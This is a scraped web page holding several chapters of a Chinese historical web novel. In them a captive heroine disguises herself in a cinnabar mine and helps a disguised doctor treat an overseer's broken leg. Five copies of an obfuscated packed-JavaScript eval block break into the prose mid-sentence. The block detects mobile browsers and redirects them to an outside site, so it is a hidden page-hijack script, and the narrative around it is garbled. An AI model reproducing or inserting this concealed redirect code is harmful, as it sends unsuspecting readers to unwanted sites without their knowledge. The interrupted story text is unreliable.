最开始和九阙接触的那个叫王馍的女子这会儿眼神复杂的盯着九阙看了好几眼,然后挥手去赶那些跟看稀罕物似的女人们。 “行了行了,赶紧做饭,待会儿想被教训吗?” 这句话的杀伤力很大,那几个本来还想多问几句的姐姐们顿时散开,明显加快了手里的速度。其实他们做的饭菜也并不复杂,就是煮一大锅水,在里边儿撒上搅成面絮的杂粮,同时撒上许多野菜,最后小心翼翼的把一罐灰白色的颗粒倒进去几勺。 这样一大锅汤就做好了,然后是一些硬邦邦的窝窝头,模样跟九阙之 前吃的那种一般无二。 “别愣着。在这个地方想要活下去,就得付出代价,过去帮忙。” “……好的。” 九阙愣了一下,然后快速走几步,帮着一位腰不太好的大婶把一整笼硬邦邦的窝窝头端下来。 旁边几个人本来还想上前帮忙,但是发现九阙一个人就能拿到而且毫不费力,都惊呆了。这孩子,怎么力气这么大?不会是在逞强吧? “你别拿了,小心闪着腰。咱们这地方可没有大夫,要是受了伤,只能硬扛。等抗不下去的时候就没命了。” “……我,我知道了。” 人生地不熟的,而且看来这还是个险恶之地,九阙默默地放下东西,只用了平常的一成力,就这还得到了表扬。 “年轻人到底是不一样啊,看这力气,足足的!” 第九十七章 没必要这么倒霉吧? 九阙笑了笑,没有说话。像她这种刚刚进来而且什么都不清楚的人,少说话,能活的长。她当然很担心另外几个伙伴,可现在她连自己都保不了,只能暂且按下询问的念头,等待时机。 这简陋的饭菜相当简单,只不过在全部都做完了之后,那个救了九阙的女人尽量洗干净手,又重新起锅,甚至还从案板下面拿出一块儿分量不小的生肉来。 不得不说,当看到那块儿颤颤巍巍的新鲜生肉,在场所有人都忍不住咽了口口水,可是没人敢在这个时候觊觎,大家伙儿为了避嫌,甚至还离开了几步,其中一个年纪偏大的大婶儿走之前还拽了九阙一把。 “小丫头,这是给那些监工大人们做的饭,咱们这些身上不干净的就别靠近了。” 不过王馍却叫住了九阙。 “你过来帮忙。” 其他女人们都有些惊讶,尤其是那个拉住九阙的大婶儿,忍不住松开手,还盯着她看了好几眼。似乎是想看看这个干干瘦瘦的小丫头片子到底是哪里得了王馍的青眼,竟然愿意让她留下帮忙。 要知道平日里给监工大人们做饭菜可是件不错的活计,不仅做饭的时候可以借着尝咸淡的滋味吃两口肉食,而且做出来的味道好了,还会被赏些剩下的饭菜,平日里大家都很羡慕能给监工大人们做饭的王馍,可她把这项活计看的跟眼珠子似的,任何人都不能插手。没想到竟愿意教这个刚到的小丫头片子…… 不得不说众人心里有些微妙的不满,但又不敢对此多说什么,毕竟王馍和其中一个小头目有些许关系,要不然也轮不到她做这等轻松的活计。 “王姐,需要我做什么?” “把这块肉砸成肉泥。” 王馍性格比较冷淡,这会儿叫了应九阙过去也只是低声吩咐她干活,大家在旁边儿等了会儿,发现九阙就是个做做苦力的,于是松了口气。她们就说王馍才不会把这等轻松的活交给一个陌生人,原来只是让她做苦活儿。 这肉馅儿可不好剁,两只胳膊不停的用力,还没弄好,肩膀就会酸痛不已。那新来的小丫头真可怜啊,不仅人生地不熟的被拐到这里还得做苦力活,那小丫头年纪不大,应该还是家里宠着疼着的,就是一进这矿场,一辈子都出不去了。 唉,她们不也是如此吗?只能过一天是一天了。 等大家都去忙自己的活儿,王馍低声问她。 “你叫什么名字?” “啊,我叫九……” “原来你叫小九。我猜你之所以叫这个名字,是不是因为家里兄弟姐妹太多,到你的时候刚好排行第九?” “啊,我……是的。” 九阙的话音到这儿拐了个弯儿,眼睛不眨一下就应下来。那林炜明面上私底下的孩子加起来不少,数不清到底有没有九个,不过现在她就叫小九了。 “那你估计在家里挺不受宠,要不然也不会起这么个敷衍了事的名字。” “啊,对,我确实在家里挺不受宠的,主要是因为兄弟姐妹太多,我又是个女孩子,家里的长辈有点儿重男轻女。其实这次出来本来是到黔州探亲,但因为家里的马车不够,父母和其他几位哥哥姐姐提前走了,我和剩下几个哥姐落在后边儿,说起来我也不知道怎么会突然来到这儿……” 九阙斟酌着说出这几句话,不知为何,身边这位王馍姐姐虽然看上去人冷冰冰的不太好说话,但是刚刚那几句问话似乎有意在引导她说出这样悲惨的身世。 这似乎也没什么不好,毕竟在这样律法道德皆无的的地方,法外狂徒太多,若是把自己的出身说的太高,难免会有人想尝尝所谓的高门贵女是什么滋味。九阙可不是单纯的小孩,想不到这其中的危险,为了保全己身,撒几句谎有什么大不了的?她如今更想知道淳于他们几个如今身在何方,有没有危险。 王馍正在切菜的手微微一顿,下一刻菜刀狠狠落在案板上,声音也变得冷厉。 “既然落到这里就别多想,别乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501250|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打听!” 九阙有些失落,王馍叹了口气,她看了一眼那些远远站着的女人们,最终还是不忍心。 “这地方有来无回,你既然到了这里就别想着外头的家人,好好想着怎么保住你这条小命才最重要。至于你另外几个兄弟姐妹,黔州这边山连着山,矿场这么多,谁知道他们被弄到哪个矿场了?” 原来这里还有其他矿场,看来淳于他们是被弄到其他矿场里头去了。那两个男人她倒是不担心,可淳于力气还没自己大,不会受欺负吧? 但是回过头想想,淳于能在满是男人的刑部一路杀到从五品的位置,可不是个简单的女人。以她的聪明才智一定能保护好自己,不过还是得尽快和他们联系上。 这会儿九阙就十分想念那位武功盖世的崔前辈,就是之前他们被抓起来的时候,崔前辈哪儿去了? 崔前辈啊,崔前辈这会儿正跟无头苍蝇一样到处乱窜呢!也不知道怎么回事儿,她就一个晃神,前面那么大两辆马车竟然不见了!她确实武功出众,但这世上也没规定哪个武功出众的武林人士不需要解决人生三急呀! 其实也就那么一会儿时间,结果等她一回来就发现那么 大两辆马车,那么大四个人,竟然不见了?! 顺着官道来回搜索,这条通往黔州的官道来往的行人很少,也就导致崔逐风并没在这条官道上找到什么紧要的线索。她知道自己很倒霉,但没必要倒霉到连几个孩子都看不住的地步吧? 整个人如一缕清风般到处搜寻,连两边的草丛和远处的大山都走上去看了,一无所获,也不知道这地方怎么这么荒芜,走了这大老远连个活人都没见到。 站在山上,崔逐风看着远处连绵不绝,仿佛没有尽头的山,深深的吸了口气,悲愤异常。 “九阙——” 你们到底去哪儿了?! 应九阙猛然抬头,身边的王馍奇怪的看了她一眼。 “你怎么了?” 第九十八章 傻小九 “啊?没事没事。我就是刚刚听到了什么动静?” “是吃饭的时候到了。麻利点儿,别碍着那些人的眼,否则我也救不了你。” “是。” 似乎没见过这么配合的人,王馍的动作顿了顿,然后没好气的将做好的包子饭菜端到一张整洁的桌子上,束手站在一边儿,安静的等着监工们过来吃饭。 九阙左右看了看,其他人都了个角落藏起来,于是自己也找个偏僻的角落。远处那些不断劳作的人们这会儿纷纷停下了动作,小心翼翼的站在原地,等着那些监工从面前走过之后,才一窝蜂的涌到这边。 之前藏起来的女人们现在也从各个角落里走出来,给每个饥饿的人舀饭。那些饭菜看上去叫人很没胃口,可是这些干苦力的连嫌弃这种感情都不会有。到了他们这种地步,只要能吃饱,谁还管塞到嘴里的东西到底是什么味道? 而那些已经坐在桌子旁吃饭菜的监工们这会儿抽空看了一眼嗷嗷待哺的人群,不由得发出几声嘲笑。 “瞧他们的样子!好像八辈子没吃过饭一样,这种猪食也能吃的下去。” “还猪食呢,他们现在能有口饭吃,已经是咱们大发慈悲。三矿场那边现在汤里都开始掺石子儿了,不也没因为这个死人吗?” “说的也是。不过咱们这里的产出比较高,上头的大人们很满意,就赏他们这点儿东西吃得了,没东西吃,没力气还怎么给咱们挖矿?” “说的也是。今儿这饭菜不错,还有肉包子。王娘子,你这手艺越来越好了。” 王馍在一边陪笑。 “诸位大哥们喜欢就好。” 九阙一边打饭一边听着那边传来的动静,周围满是充斥着渴望的眼睛,每个人的碗只有那么大,九阙就算想多给他们打些汤也没法子。想想之前建设蘑菇小村的时候,每顿必是干饭,还有肉食,盐也给的足足的。可现在给这些工人打汤的时候,一碗汤淅淅沥沥的几乎全是水,只有零星几块面疙瘩和野菜,甚至调味料也只有一些粗粝的盐。九阙都不敢想象这会是什么滋味,但是那些已经打到饭的工人们这会儿很珍惜的捧着碗,一口口小心翼翼的喝。 九阙心里悄悄叹了口气。 给大家发放完食物后九阙也有些劳累,不过也趁机统计出来这里到底有多少工人。这个矿场规模很大,但人只有八百多个。这样的比例会让工人们感到劳累,可这些监工显然不在意。换句话说,是矿场背后的主人们根本不在意这些工人的死活。 想起自己此行来的目的九阙就觉得头疼,她本来是要调查黔州这边的朱砂矿。可现在谁曾想到她连泉州的地界都没摸着,直接就被弄进朱砂矿里了?没错,这座矿场里边儿开采出来的全都是朱砂。 由此可见,所谓的朱砂矿脉崩塌俨然是个谎言。 啧,先是大肆贩卖里面掺杂了上等朱砂的丹药,等人上了瘾之后高价售卖,这其中的朱砂自然也能卖个好价格,这等环环相扣并且能顺利实行的计策,至少也需要五年以上的策划。那幕后之人到底要做什么才需要这么多的钱财? 而且这个计划还把大景原本身体康健的富人,达官权贵,朝中大臣的身体都弄毁,甚至因为那些丹药的作用受制于人。这么做的目的到底是什么?总不能是造反吧哈哈…… 哈哈哈?! 不会真是要造反吧?老皇帝这些年的皇帝当的还不错呀,虽说天灾人祸不断,可老皇帝也算是个政治清明的陛下。至少比前朝末帝强的多,他是真的把百姓都放在心里的皇帝,只这一点儿,就足以胜过绝大多数皇帝。 幕后之人到底是谁呢?他们这么做又有什么目的?嘶,细思极恐啊,她得赶紧离开这个地方,把这里的情况都告诉老皇帝才是,让他早做准备。 “小九,过来吃饭了。” 等所有人都吃过饭之后,女人们招呼小九过去吃东西,之前给监工们做饭的时候,王馍在锅里剩了一点儿菜,原本是担心这些人吃不饱,不过这桌子上的饭菜就够那些监工吃了。所以这会儿盛出来,几个女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501251|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人也勉强能沾点儿荤腥。 其实以九阙那喜欢吃美味食物的性子,王馍做的这顿饭菜根本不符合她的预期。可如今这个时候谁还会挑剔这些?本想吃的狂放点儿,也能合群。可是当饭菜当真入口,她也记不得了,和周围的女人们吃的一样狼吞虎咽的。 也是这个时候,那些吃饱喝足坐在桌子旁休息的监工们注意到这群女人里多了一个,而且看起来干巴巴的。 是了,今天活尸队那边送过来几个人,这大概就是其中一个。近年来路过黔州的人越来越少,或许是这边有来无回的名声吓退了绝大多数商贾吧。这好不容易来个新鲜点儿的,他们倒是挺有兴趣。 “喂,那个新来的,过来。” 九阙咽下口中干硬的窝窝头,这种时候也不敢反抗,只能束手束脚的走过去,任凭这些监工打量。 “你叫什么名字?打哪儿来啊?” 面对这些不怀好意的目光,九阙内心坦然,只是脸上依旧表现的十分惊慌。 “我,我是青州人,家里遭了灾,在那边活不下去来投奔亲戚,我叫小九。我 娘说是排行第九的意思。” “怎么看起来不太聪明啊?不会是个傻子吧?喂,小九,我问你。知道这是什么地方不?” “知,知道。” “那你说说这是什么地方?” “这是能吃饱饭的地方。” 本来还想戏弄戏弄她的监工们愣了一下,再结合她干瘦的身体,众人脑中已经脑补了一大串的剧情。 彼此对视一眼,其中一个监工还想说话,被一个较为沉默寡言的人给拦住了。 “行了,欺负个傻小孩儿有什么意思?等休息够了还得继续,上头要的朱砂产量又多了。” 这句话成功转移了监工们的注意力,纷纷唾骂。 “娘的!现在的朱砂产量还不够?!难道要老子们也一块儿去挖矿才行?不是都说朱砂有毒吗?上头要那么多朱砂到底是想毒死谁啊?” 第九十九章 薛无尘?谢明尘? “就是!朱砂矿在这儿摆着又不会丢,干嘛要这么着急?” “虽说在咱们这儿朱砂不值钱,可据说在外头卖的挺贵。估计上头那些贵人们就是靠这个赚钱的吧。” “那你说这东西到底能卖多少钱?我看着就是块石头而已。” “我想想,怎么着也得卖个二十多文一斤吧?要是再便宜的话也没多少赚头了。” “我怎么听说……” “好了,都少说两句。” 那个比较沉默的男人出口制止了越说越不像样的同伴们。 “忘了在咱们这块儿什么最重要?守口如瓶,别说不该说的话。” “杨哥,这块儿就咱们这些兄弟,谁会闲着没事儿把这闲话传出去?再说了,这些人既然来了矿场,这辈子都不可能出去,死也得死在这矿场里。说两句闲话,没事儿吧?” “行了,别说多余的话。” 杨辉制止了其他人,还顺便看了一眼九阙她们,于是大家伙儿都不吭声了。 过了片刻,这些监工们骂骂咧咧的起身催促那些已经吃过饭的人继续挖矿。而九阙则是跟着大家一起去刷碗,堆成小山一样的粗陶碗等着人刷。九阙也不是什么娇气的性子,撸起袖子跟着大家一起干活。周围那些干活的人长得有眼睛,看到九阙这模样,忍不住多关怀她几分。 还是个孩子呢,这要是放到外面普通人家,说不定这时候就该说人家了。 接下来的日子,九阙看起来安安分分的,跟着大家干活的时候也是不遗余力。久而久之,这群在灶房干活的女人们对她很是放心。那个年纪最大的大婶儿还夸她呢。 “幸亏小九你不是那种哭哭啼啼哭天抹泪的人,落到咱们这地方,就算你把眼泪哭干眼睛哭瞎又有什么用?总归是出不去了,还不如让自己过的好点儿。以前也有这种脾气倔强的,现在还不是不知埋到哪里去了?你就听婶子的,虽说在这边儿干活苦了点儿累了点儿,但是你看看那些挖矿搬矿的劳力们,就知道咱们的日子已经算是过得不错了,偶尔还能吃些大人们的剩菜。有好些普通人家的孩子一辈子都没吃过肉……” 九阙听的连连点头。 “您说的对,这人啊确实得惜福。现在的日子比起以前还算好的,最起码能吃饱饭。以前我都得等到父母和其他几个受宠的兄长姐姐们吃过之后才能吃。那时候往往都不剩什么了,一年到头肚子里都没些油水,所以才这么干瘦。来这里这几日,感觉我力气也大了些。” “那是,婶子可不会害你。” 一群女人们正在一条小河旁说说笑笑,远远的,王馍走了过来,看到九阙几乎被那些女人们围住,脸色不虞。 “行了,把碗刷了,赶紧准备下一顿的饭。今天那些监工们脾气不太好,别往他们眼前凑。” 那个婶子似乎跟王馍关系不错,这会儿还小声问了句。 “他们怎么了?咱们这矿场里的还算听话,又没人反犟,他们生什么气啊?难道上头留的任务又重了?” “不是,今儿早上矿场有个监工被山上落下的石头砸断了腿,这会儿他们心情都不好,别往上凑,免得遭罪。” “这样啊,我们都知道了。” 大家伙儿都是懂得厉害的,虽说矿场里那群监工比周围其他矿场的脾气要好上许多,可这种生死攸关的大事儿,还是不要去触他们眉头了。 大家正小心翼翼的干活儿,远远的就看到一群人吵吵嚷嚷的过来,里面还夹杂着偶尔的惨叫声。 “王馍!快弄干净的水!还有布!” 杨辉指挥大家把一个面色痛苦,惨叫不断的男人平放在宽大的桌子上,然后接过王馍手里干净的湿布给那个惨叫不断的男人擦腿上的血迹。这男人腿上的衣服已经被撕掉,这会儿血污被擦掉一些,露出了血肉模糊的伤处,看的人心里一沉。 这么严重的伤,这条腿恐怕是保不住了。 大家的脸色都不太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501252|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好看,那个腿断了的监工似乎也从众人的表情上看出了什么,这会儿惨叫连连,朝着杨辉不断求救。 “杨大哥,杨大哥,你救救我,我不想断腿。我要是断了腿没用了,上头那些大人们不会养着我!我断了腿,怎么能像他们一样去做工?我会死的,你救救我杨大哥!” 那人凄厉的惨叫引的杨辉忍不住侧目,顿了一会儿后还是叹了口气。 “我听说旁边矿场前些日的活尸抓来的人里有个大夫,我去给你叫过来。是死是活,只能听天由命了。” “谢谢你杨大哥!我就想试试,我不想死……” 杨辉带了两个人急匆匆离开,而藏在角落里的九阙这会儿眉眼一动。等等!旁边矿场带回来的大夫?难道是说谢明尘? 九阙难得多了些期待,于是在干活的同时密切关注姓杨的,果然,小半个时辰过后,回来的人里多了几个。其中一个虽然灰头土脸的,但那修长的身形,明亮的眼睛,通体带着的淡淡药香,无不说明那个人正是自己等待已久的谢明尘! 当然了,这会儿谢明尘被前后两个矿场的监工牢牢的堵着,根本没有余力朝旁边儿看,并没有第一时间发现九阙。 而这边的 人看到杨辉几个回来之后,那叫一个激动。毕竟在这样不知节制的矿场工作,意外不知会什么时候出现,今天是他们的同伴,说不定明天就轮到自己。说来也奇怪,他们这地方抓来的五湖四海的人都有,偏偏就缺大夫。 前些时日,他们这几个相邻矿场上唯一的老大夫也死了。那些做苦力人的性命他们其实并不在意,可自己的命就珍贵多了。 “这位大夫叫什么名字?” “我姓薛,薛无尘。伤者在哪儿?现在还有意识吗?” 谢明尘面上有些担忧,身为一个医者,对病人担忧是最正常不过的。其他人看到他这样不仅没有生气,反而安心了许多,毕竟在面对自己生命的时候,所有人的态度都相当谨慎。 第一百章 助手 “大夫!是我!我的腿疼的受不了,求你给我止止疼吧。” 那个受伤的人这会儿鬼哭狼嚎的顺利引起了谢明尘的注意,叹了口气,三步并作两步跨过去,只是看了一眼,谢明尘的眉毛就皱了起来。 “怎么伤的这么严重?骨头都断了!” “有块人头大小的石头突然从高处落下,一连砸中好几个人。这小子倒霉,刚好站在山下没来得及跑,砸断了腿骨。您看他这腿还有救吗?” 谢明尘翻来覆去看了好几遍,然后在周围人紧张的期待中面色沉重的吐出几个字。 “若是这里有好药材,我有七分的把握,让他行走无碍。” 听到这话,伤者的眼睛瞬间明亮起来,但随即就想到了什么,整个人都暗淡无光了。好药材?他们这儿有个屁的好药材!他们说起来是监工,好像身份高些,但和这些做苦力的人一样,都是被困在深山老林里的囚徒。平日里根本就没有机会出去,只有那些被做成活尸,没有自己思想的家伙才会出去抓些倒霉蛋回来补充损失的人数。 那个伤者越想越伤心,最后嚎啕大哭起来。周围的监工们听了,竟也有些感同身受。 唉,今天是这小子倒霉,说不定下一个倒霉的就是自己。这矿场上太过危险。就算他们不必干活,谁也不知道下一刻矿场是否会崩塌,是否会从天而降足以致命的石头…… “没有好药材,普通的药材有吗?至少保住他的命,如果伤口这样放任不管,绝对会发烧起热,这人就没命了!” 谢明尘神色有些焦急,杨辉等人的表情也不太好看,但还是安慰了几句。 “我们这鬼地方,哪儿会有药材?大夫,有没有其他法子?先保住他的命再说。” “没有药材吗?如今天气变暖,山上的草药正是勃发之际,若是你们能采来,我也会炮制药材。” 若是谢明尘说自己要上山采药肯定会引起这些人的怀疑,但让他们上山采药他在这里炮制,大家倒没觉得有什么。 只不过众人还是苦笑。 “薛大夫,我们根本就不认识草药……” “这……” 谢明尘眉头紧皱,巧妇难为无米之炊,他手边没有药材,这怎么治病救人?好在上一个老大夫那里遗留了一些药材,虽然一部分已经失去了药性,但总算了胜于无。 杨辉等人将那些剩余的药草搬过来,谢明尘不是很满意,但也没别的法子,只是看到他那血肉模糊的伤口,还是忍不住皱眉。 这个时候,谢明尘忍不住四处看了看,试图找一些消炎止痛的草药,他将那些草药的具体模样,颜色大小形状等,都告诉周围人,让这些监工去找。 大家也都算尽心帮忙,可要找一个自己以前从来没有见过的草药,跟草差不多的那种,还真是为难他们了,就在这个时候,杨辉突然听到了一个怯生生的语音。 “大,大人,您说的是不是这东西?” 杨辉抬头,发现是那个刚来不久的干瘦女人,盯着她手里那根干巴巴的草看了会儿,不得不承认,他真不认识那东西,只能带着九阙来到薛大夫面前。 “薛大夫,您看这个是不是?” 看到那个干瘦干瘦,身上脏乱不堪,神情还略显瑟缩的女人,谢明尘顿了顿,若无其事的看了一眼那草药,点了点头。 “就是这东西。你从哪儿采来的?” “回,回大人,我刚好在灶房的角落里看过这种草,不过我也不知道这是不是您要的那种草药……” “嗯,杨大人,如果可以的话,请您带着大伙儿多去找些这种草药,再给我找个人烧些热水。” 杨辉顿时振奋起来,如果这大夫今天能把那倒霉催的牛二治好,以后他们要是受个伤啥的肯定也能治好。至于找个人烧热水…… 随意看了一眼站在旁边儿瑟缩不已的小九。 “就她吧,薛大夫别看她长得干瘦,还算有把子力气,人也勤快,就是有点儿胆小。” “……嗯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501253|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胆小啊…… 想起这位用那神仙般的武器将地上炸出那么大个窟窿,炸死无忧洞中贼人无数的壮举,再想想她宁愿顶着抄家灭族的罪,也要把那些贪官污吏家里的银钱全部找出来的狠劲儿,以及说跟自己亲爹断亲就断亲的果断。还真是想不到这是个胆小的人。 “行。这种草药越多越好,有消炎止痛的效果,不仅外伤可以用,若是有人喉咙发干,嗓子眼儿鼻子疼,多喝一些这种草药熬成的水,能清热下火。” “行行行,我们这就去找!小九,你好好听薛大夫的话,他让你做什么你就做什么,别懈怠!” “是,是,我知道了。” 那群监工走了大多数,周围只剩下五六个正看热闹似的看着这边儿的情景。 九阙已经十分自觉的去烧热水,灶上本来就有未熄灭的火炭,上面温着热水,以备那些监工们什么时候口渴来喝。很快就端了一盆,顺带着还拿了一方洗干净的帕子。 谢明尘看了一眼喊疼声音越来越小的男人,又看了看已经开始红肿的伤口,咬咬牙,拿起那方洗干净的帕子沾了热水,小心翼翼的擦拭着伤口周 围的泥沙。 片刻过后,那些找草药的人纷纷找回了消炎止痛的药材,投入大锅中熬煮片刻,用熬出来的水给这倒霉催的监工清洗伤口。此时此刻,那监工已经陷入了昏迷。 谢明尘吩咐九阙帮忙,两人分别按住骨头断了的两侧,同时用力,只听见咔嚓一声,断了的骨头又合在一起。周围人听的毛骨悚然,忍不住离两人远些。 只不过虽然已经将断了的骨头合在一起,可这血肉中还夹杂着一些骨头碎片,若是不弄出来,以后也是个隐患。 谢明尘找来一把剪刀和针,在水里煮了又煮,又在火上烤了许久,然后探入牛二的伤口不断拨弄,不停的扒出骨头碎片。 “叮叮当当”,不多时那只专门用来装骨头碎片的碗底就铺了一小层。 杨辉等人的脸都青了。这牛二真的还能活吗? 第一百零一章 缝合 而已经晕过去的牛二硬生生被这疼痛给惊醒,这会儿这鬼哭狼嚎呢!好在旁边有两个身强力壮的监工摁住了他,这才没让他挣扎的太过。只不过那两个监工将脸死死的迈过去,不敢盯着他的腿看一眼。太可怕了,实在是太可怕了!这是人腿,又不是猪肉!这么弄下去,还能活吗? 直到最后再也找不到一块儿骨头碎片,谢明尘才停下手,只是他看着那乱七八糟的伤口犯了难,若是平整些的伤口,很快就能愈合,像这种撕扯出来的伤反倒难以愈合。若是就这样放任不管,天气逐渐变暖,伤口说不定会腐烂。可他也没法子让这乱七八糟的伤口变得平整啊…… “缝起来。” 九阙借着距离优势微不可闻的吐出这三个字,因为距离太近,只有谢明尘听到,他先是愣了一下,随即若有所思。 缝起来,这好像也是个法子。就是得看这人命大不大了。 想了又想,谢明尘干脆开口。 “他这伤口太大,如果就这样放任不管不会愈合,我倒是有个法子,只是这个法子有些凶险,若是用了,他有六成的可能活下来。若是不用,他今天晚上就可能会……” 杨辉几个脸色难看的很,彼此面面相觑了会儿,最终还是下了决定。 “大夫,都这种程度了,你就动手吧。牛二要是能活下来算他命大,要是活不下来,也不关你的事。” 反正通过大夫这一连串举动,他们能看出来这是个有真本事的,以后有个头疼脑热啥的,也不用害怕了。 有了他们的保证,谢明尘将那些针线放在热水里煮了好一阵时间,然后比划着准备缝,但有个问题。他虽然是个大夫,但并不擅长缝纫,尤其是缝这种伤口。比划了半天,不知道该怎么下手,就在此刻,站在旁边的九阙自告奋勇。 “大人,小人不才,以前在家中学过针线活。要不让我来吧?” 这会儿周围那些等着的监工用惊悚的眼神盯着九阙。这不是那个胆小如鼠的丫头吗?怎么这会儿胆子这么大?这可不是普通的针线活,而是用针线将活生生的人肉缝在一起。那可是人的肉啊!就算这些监工们平时有些残暴,可真让他们用针线去缝一个活生生的人,他们还是十分抵触的。 谢明尘看起来似乎也有些吃惊,有点儿不放心的问了句。 “你行吗?要是半途而废,还得重新找人。” “我可以,之前在家里不受宠,家里杀鸡宰鹅的活都是我做,我不害怕。小人的手也稳,薛大夫要是不放心,可以在旁边儿指导着小人。” “你们觉得呢?” 杨辉等人连连点头,生怕下一刻薛大夫就让自己上前顶替九阙去缝人肉。 于是得到大家赞同的九阙洗干净手,拿起针线。刚开始还有些生涩,不过在做了简单的心理预设之后,就显得尤为从容。九阙看着手底下昏死过去的男人,脑海里想的却是刚来到这矿场时,眼前的监工牛二狠狠一鞭子甩到一个老人胸膛上,将其打的遍体鳞伤的模样。 就算她想手软,这会儿也手软不下去呀。 当第一针扎到肉里的时候,牛二猛然从昏睡中惊醒,下意识发出一声惨嚎,而早已经得了薛大夫指示的杨辉等四五个壮汉上前狠狠摁住他的手脚和脑袋,不让他乱动。但或许是太疼了,刚刚还没有挣扎的这么厉害,此刻牛二简直全身上下都在拼命挣扎。 “再来几个人按住别让他动,伤口要是不缝好,这人可就活不下去了。” 听到薛大夫的话,几人更是用力,而牛二的惨叫声吸引了周围苦力们的注意,当发现那个惨叫着的人是牛二时,不少苦力眼中都闪过了解气兴奋。 他们之中的大多数人都被牛二打过,这个牛二平日里仗着自己监工的身份没少动手打他们这些被拐来干活的,明明大家被拐来在这种地方做工已经很苦了,没有钱也就算了,吃不饱穿不暖,得病了也没人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501254|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,可这个牛二还非得显示自己身为监工的身份,时不时就要动手打骂。有不少人都被这个牛二给打死了,此刻能看到他的笑话,众人怎么可能不高兴?这会儿只嫌弃那针线缝的不够用力呢。 九阙本来还想缝的粗犷些,不过注意到周围人眼中的愤恨,干脆放慢了速度,一针一线缝的那叫一个细致,那叫一个匀称密实。旁边人根本就不敢往牛二的伤口看上一眼,因此也发现不了她这点儿小动作,倒是谢明尘见到这一幕,眼中闪过一丝微不可见的笑意。 看来这牛二也不是个好人,要不应县主也不会下这种死手。 漫长的缝合过程终于过去,牛二已经浑身大汗,面色惨白,跟死人也就差一口气儿了。直到此刻杨辉几个才敢小心翼翼的松开手。发现那位缝合好的伤口虽然看起来可怕了些,但竟然真的没有继续流血,不由得精神振奋,他们之前从来没见过这样的手艺,看来这回他们运气不错,当真遇上了位神医,当然了,这个胆大心细的小九也蛮不错的。 杨辉心里已经将九阙的待遇提了又提,这会儿看着薛大夫略显疲惫的脸色,连忙上前搀扶。 “薛大夫,辛苦您跑这一趟了。我先带您去休息片刻……王馍,做顿好饭,好好招待招待薛大夫。” 周围人都没有异议,王馍应了一声,快步上前,只是神色略有复杂的看了一眼应九阙。九阙做出要去帮忙的动作,却被杨辉给制止了。 “小九啊,你先别忙着去做饭,先去服侍薛大夫,这可是咱们矿场的英雄!” 杨辉没有读过书,说的话也不伦不类的,谢明尘下意识想要拒绝,但是看了一眼应九阙,又将拒绝的话咽了回去,轻描淡写的点了点头。 “你的手还挺稳,以后若是遇到这种情况,还要请你帮忙。” “薛大夫言重了,能帮上大人的忙,是我的福气。” “……嗯。” 谢明尘出了一身汗。 第一百零二章 又闻回春丹 他记得应县主不是个记仇的人,不不不,她好像是个记仇的。之前那些被她搞下台的大臣们对此一定很有话说,可怜的谢明尘左思右想,也不知道自己该如何摆脱这种困境,于是只好狠狠心,在应九阙的带领下朝着休息的地方走去。 杨辉当然不会任由他们两个自行离去,这会儿跟在旁边热情的讲解他们矿场的内容,这当然了,他说的全都是废话,没有一个重要的,只是话里话外希望日后若是他们矿场有监工生病,谢明尘能来帮忙看个诊。 